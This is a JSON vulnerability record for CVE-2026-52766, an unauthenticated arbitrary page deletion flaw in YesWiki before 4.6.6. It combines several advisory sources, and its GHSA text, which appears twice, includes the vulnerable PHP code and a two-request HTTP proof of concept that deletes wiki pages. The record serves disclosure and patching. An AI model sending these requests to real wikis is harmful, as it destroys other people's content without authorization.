{"id":"CVE-2026-52766","aliases":["EUVD-2026-71799","GHSA-6x7x-gcmf-7r8x"],"status":"published","title":"YesWiki: Unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action","description":"YesWiki is a wiki system written in PHP. Prior to version 4.6.6, the {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users. This issue has been patched in version 4.6.6.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00579,"percentile":0.4813,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-276","CWE-862"],"published":"2026-07-09T20:57:25Z","modified":"2026-10-28T02:30:49Z","fixes":[{"ecosystem":"Packagist","package":"yeswiki/yeswiki","fixed_in":["4.6.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"yeswiki/yeswiki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.6"}]}]},{"source":"osv","ecosystem":"Packagist","package":"yeswiki/yeswiki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.6"}]}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5","v4.5.0","v4.5.1","v4.5.2","v4.5.3","v4.5.4","v4.5.5","v4.6.0","v4.6.1","v4.6.2","v4.6.3","v4.6.4","v4.6.5"]}],"products":[{"vendor":"yeswiki","product":"yeswiki"}],"references":[{"url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-6x7x-gcmf-7r8x","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/YesWiki/yeswiki/commit/ed5b548a705c8091ba0282aaaba73ddda976abef","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/YesWiki/yeswiki/releases/tag/v4.6.6","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-6x7x-gcmf-7r8x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/52xxx/CVE-2026-52766.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52766","tags":["advisory"]},{"url":"https://github.com/YesWiki/yeswiki","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-52766","title":"YesWiki: Unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action","description":"YesWiki is a wiki system written in PHP. Prior to version 4.6.6, the {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users. This issue has been patched in version 4.6.6.","status":"published","published":"2026-09-04T23:40:12.087Z","modified":"2026-09-09T16:01:55.41Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-276","CWE-862"],"updated_at":"2026-11-02T13:40:57.334596Z"}],"euvd":[{"id":"EUVD-2026-71799","description":"YesWiki is a wiki system written in PHP. Prior to version 4.6.6, the {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users. This issue has been patched in version 4.6.6.","status":"published","published":"2026-09-04T23:40:12Z","modified":"2026-09-09T16:01:55Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T17:28:26.437971Z"}],"ghsa":[{"id":"GHSA-6x7x-gcmf-7r8x","title":"YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action","description":"### Summary\n\nThe `{{erasespamedcomments}}` wiki action (`actions/EraseSpamedCommentsAction.php`) accepts a `suppr[]` array from `POST` and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (`default_write_acl='*'`) on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.\n\nThe action's `delete()` callee is `PageManager::deleteOrphaned()`, which despite its name does not check whether the target page is orphaned: it issues an unconditional `DELETE` against `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` tables.\n\n### Details\n\nThree issues compose the vulnerability.\n\n1. `actions/EraseSpamedCommentsAction.php` performs no authorization check before processing `$_POST['clean']` / `$_POST['suppr'][]` in `actions/EraseSpamedCommentsAction.php`:\n\n   ```php\n   public function run()\n   {\n       $wiki = \u0026$this-\u003ewiki;\n       ob_start();\n       // ...\n       elseif (isset($_POST['clean'])) {              \n           $deletedPages = '';\n           if (!empty($_POST['suppr'])) {            \n               foreach ($_POST['suppr'] as $page) {\n                   echo 'Effacement de : ' . $page . \"\u003cbr /\u003e\\n\";\n                   if ($wiki-\u003eservices-\u003eget(PageController::class)-\u003edelete($page)) {  \n                       $deletedPages .= $page . ', ';\n                   }\n               }\n           }\n           \n       }\n   }\n   ```\n\n   No `UserIsAdmin()`, no `UserIsOwner()`, no `HasAccess('write', $page)` per-target check, no CSRF token check.\n\n2. The default action ACL grants access to everyone in `includes/YesWiki.php`:\n\n   ```php\n   $acl = empty($this-\u003econfig['permissions'][$moduleType][$module])\n       ? '*'\n       : $this-\u003econfig['permissions'][$moduleType][$module];\n   ```\n\n   ```php\n   if ($acl === null) { return true; }\n   return $this-\u003eCheckACL($acl, $user);\n   ```\n\n   No shipped `permissions` map gates `erasespamedcomments` to admins, so `Performer::CheckModuleACL('erasespamedcomments', 'action')` returns `true` for anonymous users.\n\n3. `PageController::delete()` and `PageManager::deleteOrphaned()` perform no authorization check and do not validate that the page is actually orphaned in `includes/controllers/PageController.php:38–48`:\n\n   ```php\n   public function delete(string $tag): bool\n   {\n       if ($this-\u003eentryManager-\u003eisEntry($tag)) {\n           return $this-\u003eentryController-\u003edelete($tag);\n       } else {\n           $this-\u003epageManager-\u003edeleteOrphaned($tag);\n           $this-\u003ewiki-\u003eLogAdministrativeAction(\n               $this-\u003eauthController-\u003egetLoggedUserName(),\n               'Suppression de la page -\u003e\"\"' . $tag . '\"\"'\n           );\n           return true;\n       }\n   }\n   ```\nin `includes/services/PageManager.php:289–310`:\n   ```php\n   public function deleteOrphaned($tag)\n   {\n       if ($this-\u003esecurityController-\u003eisWikiHibernated()) { throw new \\Exception(_t('WIKI_IN_HIBERNATION')); }\n       unset($this-\u003eownersCache[$tag]);\n       if (in_array($tag, $this-\u003epageCache)) { unset($this-\u003epageCache[$tag]); }\n       $this-\u003edbService-\u003equery(\"DELETE FROM ... WHERE tag='{$this-\u003edbService-\u003eescape($tag)}' OR comment_on='{$this-\u003edbService-\u003eescape($tag)}'\");\n       $this-\u003edbService-\u003equery(\"DELETE FROM ...links... WHERE from_tag='{$this-\u003edbService-\u003eescape($tag)}' \");\n       $this-\u003edbService-\u003equery(\"DELETE FROM ...acls... WHERE page_tag='{$this-\u003edbService-\u003eescape($tag)}' \");\n       // ...further unconditional DELETEs across triples, referrers, tags\n   }\n   ```\n\n   The companion `isOrphaned()` method (line 284) exists but is never called from `deleteOrphaned()`. The function name is misleading as it deletes any page, not just orphans.\n\n### PoC\n\nDefault fresh install where `default_write_acl='*'` (per `includes/YesWikiInit.php:219`), anonymous browsing.\n\n1. create a trigger page (anonymous)\n\n```http\nPOST /?wiki=SpamCleanup/edit HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\n\nbody=%7B%7Berasespamedcomments%7D%7D\u0026submit=1\n```\n\nThis succeeds because the new page passes `aclService-\u003ehasAccess('write', 'SpamCleanup')` against `default_write_acl='*'`.\n\n2. trigger arbitrary page deletion (anonymous)\n\n```http\nPOST /?wiki=SpamCleanup HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\n\nclean=yes\u0026suppr%5B0%5D=PagePrincipale\u0026suppr%5B1%5D=AnotherTargetPage\n```\n\nServer response includes `Effacement de : PagePrincipale` and `Effacement de : AnotherTargetPage`. `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` rows for those tags are deleted from the database.\n\n### Impact\n\n Arbitrary page deletion, including the front page (`PagePrincipale`).","status":"published","published":"2026-07-09T20:57:25Z","modified":"2026-07-09T20:57:26Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-276","CWE-862"],"updated_at":"2026-11-02T14:40:41.501474Z"}],"nvd":[{"id":"CVE-2026-52766","description":"YesWiki is a wiki system written in PHP. Prior to version 4.6.6, the {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users. This issue has been patched in version 4.6.6.","status":"published","published":"2026-09-05T00:17:19.393Z","modified":"2026-09-09T17:17:22.047Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-276","CWE-862"],"updated_at":"2026-11-02T14:12:44.082631Z"}],"osv":[{"id":"CVE-2026-52766","title":"YesWiki: Unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action","description":"YesWiki is a wiki system written in PHP. Prior to version 4.6.6, the {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users. This issue has been patched in version 4.6.6.","status":"published","published":"2026-09-04T23:40:12.087Z","modified":"2026-10-28T02:30:49.444375961Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-276","CWE-862"],"updated_at":"2026-11-02T15:45:07.431113Z"},{"id":"GHSA-6x7x-gcmf-7r8x","title":"YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action","description":"### Summary\n\nThe `{{erasespamedcomments}}` wiki action (`actions/EraseSpamedCommentsAction.php`) accepts a `suppr[]` array from `POST` and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (`default_write_acl='*'`) on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.\n\nThe action's `delete()` callee is `PageManager::deleteOrphaned()`, which despite its name does not check whether the target page is orphaned: it issues an unconditional `DELETE` against `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` tables.\n\n### Details\n\nThree issues compose the vulnerability.\n\n1. `actions/EraseSpamedCommentsAction.php` performs no authorization check before processing `$_POST['clean']` / `$_POST['suppr'][]` in `actions/EraseSpamedCommentsAction.php`:\n\n   ```php\n   public function run()\n   {\n       $wiki = \u0026$this-\u003ewiki;\n       ob_start();\n       // ...\n       elseif (isset($_POST['clean'])) {              \n           $deletedPages = '';\n           if (!empty($_POST['suppr'])) {            \n               foreach ($_POST['suppr'] as $page) {\n                   echo 'Effacement de : ' . $page . \"\u003cbr /\u003e\\n\";\n                   if ($wiki-\u003eservices-\u003eget(PageController::class)-\u003edelete($page)) {  \n                       $deletedPages .= $page . ', ';\n                   }\n               }\n           }\n           \n       }\n   }\n   ```\n\n   No `UserIsAdmin()`, no `UserIsOwner()`, no `HasAccess('write', $page)` per-target check, no CSRF token check.\n\n2. The default action ACL grants access to everyone in `includes/YesWiki.php`:\n\n   ```php\n   $acl = empty($this-\u003econfig['permissions'][$moduleType][$module])\n       ? '*'\n       : $this-\u003econfig['permissions'][$moduleType][$module];\n   ```\n\n   ```php\n   if ($acl === null) { return true; }\n   return $this-\u003eCheckACL($acl, $user);\n   ```\n\n   No shipped `permissions` map gates `erasespamedcomments` to admins, so `Performer::CheckModuleACL('erasespamedcomments', 'action')` returns `true` for anonymous users.\n\n3. `PageController::delete()` and `PageManager::deleteOrphaned()` perform no authorization check and do not validate that the page is actually orphaned in `includes/controllers/PageController.php:38–48`:\n\n   ```php\n   public function delete(string $tag): bool\n   {\n       if ($this-\u003eentryManager-\u003eisEntry($tag)) {\n           return $this-\u003eentryController-\u003edelete($tag);\n       } else {\n           $this-\u003epageManager-\u003edeleteOrphaned($tag);\n           $this-\u003ewiki-\u003eLogAdministrativeAction(\n               $this-\u003eauthController-\u003egetLoggedUserName(),\n               'Suppression de la page -\u003e\"\"' . $tag . '\"\"'\n           );\n           return true;\n       }\n   }\n   ```\nin `includes/services/PageManager.php:289–310`:\n   ```php\n   public function deleteOrphaned($tag)\n   {\n       if ($this-\u003esecurityController-\u003eisWikiHibernated()) { throw new \\Exception(_t('WIKI_IN_HIBERNATION')); }\n       unset($this-\u003eownersCache[$tag]);\n       if (in_array($tag, $this-\u003epageCache)) { unset($this-\u003epageCache[$tag]); }\n       $this-\u003edbService-\u003equery(\"DELETE FROM ... WHERE tag='{$this-\u003edbService-\u003eescape($tag)}' OR comment_on='{$this-\u003edbService-\u003eescape($tag)}'\");\n       $this-\u003edbService-\u003equery(\"DELETE FROM ...links... WHERE from_tag='{$this-\u003edbService-\u003eescape($tag)}' \");\n       $this-\u003edbService-\u003equery(\"DELETE FROM ...acls... WHERE page_tag='{$this-\u003edbService-\u003eescape($tag)}' \");\n       // ...further unconditional DELETEs across triples, referrers, tags\n   }\n   ```\n\n   The companion `isOrphaned()` method (line 284) exists but is never called from `deleteOrphaned()`. The function name is misleading as it deletes any page, not just orphans.\n\n### PoC\n\nDefault fresh install where `default_write_acl='*'` (per `includes/YesWikiInit.php:219`), anonymous browsing.\n\n1. create a trigger page (anonymous)\n\n```http\nPOST /?wiki=SpamCleanup/edit HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\n\nbody=%7B%7Berasespamedcomments%7D%7D\u0026submit=1\n```\n\nThis succeeds because the new page passes `aclService-\u003ehasAccess('write', 'SpamCleanup')` against `default_write_acl='*'`.\n\n2. trigger arbitrary page deletion (anonymous)\n\n```http\nPOST /?wiki=SpamCleanup HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\n\nclean=yes\u0026suppr%5B0%5D=PagePrincipale\u0026suppr%5B1%5D=AnotherTargetPage\n```\n\nServer response includes `Effacement de : PagePrincipale` and `Effacement de : AnotherTargetPage`. `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` rows for those tags are deleted from the database.\n\n### Impact\n\n Arbitrary page deletion, including the front page (`PagePrincipale`).","status":"published","published":"2026-07-09T20:57:25Z","modified":"2026-07-09T21:11:39.436131Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-276","CWE-862"],"updated_at":"2026-11-02T15:46:40.308826Z"}]}}
